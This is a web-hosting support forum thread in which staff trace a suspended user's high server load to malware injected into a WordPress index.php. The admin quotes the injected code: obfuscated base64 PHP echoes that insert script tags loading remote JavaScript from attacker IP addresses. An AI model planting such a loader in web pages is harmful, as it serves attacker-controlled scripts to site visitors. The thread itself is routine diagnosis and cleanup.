[Solved] Suspended: Masami

[masami]

username: masami

server: http://stevie.heliohost.org

domain: scorpio.tk

 

I've posted a thread several days ago but my problem has not been solved:

http://www.helionet.org/index/topic/23051-suspended-masami/

 

And nobody is responding to me in that thread so I have to start a new one.

My account is still suspended, and I'm not causing high server load because I only installed a WordPress on my site, and have not yet added any content to it.

Please help me with my problem. Thx.

[wolstech]

Sorry about the delay in responding. There's only ~2 of us who do the suspended accounts on a regular basis, and the other (tjoene) lives in Belgium and only stops by a few times a week.

 

You were suspended for high load. You've been unsuspended.

 

If you want, I can escalate this to find out what file caused the load for you. Would you like me to do this for you?

[masami]

Sorry about the delay in responding. There's only ~2 of us who do the suspended accounts on a regular basis, and the other (tjoene) lives in Belgium and only stops by a few times a week. You were suspended for high load. You've been unsuspended. If you want, I can escalate this to find out what file caused the load for you. Would you like me to do this for you?

 

Thank you for your help. Would you please find out what file caused the load, and delete it if convenient?

 

I guess there might be some virus file that caused the high load. After you unsuspended my account, it caused the high load again and my account was suspended again. So I don't even have the opportunity to delete all the contents on my website to prevent the high load.

[wolstech]

This support request is being escalated to our root admin.

[Krydos]

Your high load is being caused by

/home1/masami/public_html/index.php

You've got some interesting looking malware injected into your wordpress site...

<?php
echo base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovLzUuMTU3LjU0LjEzL2pxdWVyeS5qcyI+PC9zY3JpcHQ+");
?>                 <?php
echo base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovLzQ1LjM0LjEwMy42OS9pbWFnZXMvd3AtbG9nby5qcyI+PC9zY3JpcHQ+");
?>     <?php
echo base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovLzE4NC4xMDUuMjAzLjE4L2ltYWdlcy93cC1sb2dvLmpzIj48L3NjcmlwdD4=");
?> <?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

[masami]

Hi Krydos,

 

I don't know what it is and how to deal with the problem...

 

Will it be possible that you delete the malware for me and unsuspend my account again?

 

Thank you.

[Krydos]

Will it be possible that you delete the malware for me

I have unsuspended your account, but left your website suspended so your malware files can't be accessed by a browser. You need to log in, backup your account if there's any content you want to try to keep, and then delete everything. Let us know if you need further assistance.

[masami]

I tried to login in from here: http://stevie.heliohost.org:2082/

 

But it just told me "The login is invalid."

[masami]

Could you simply delete everything for me?

 

It seems that my account is still suspended.

 

I don't want to keep anything in my account, and I just want my account back.

 

Thanks.

[wolstech]

I've unsolved this topic for you so Krydos will look at it. Because your account is intentionally partially unsuspended, I can't reset your password, otherwise I'd email you a new one. Please give Krydos some time to look at it.

 

Alternately, if you wish, I can delete the entire account for you so you can just sign up again. Let me know if you want me to do that instead.

[masami]

Hello wolstech, it seems my problem remains unsolved.

 

So could you delete my account for me? I'll sign up again.

 

Thx.

[wolstech]

The account masami has been deleted.

 

Please give it 24 hours to fully remove its DNS entries before you sign up again.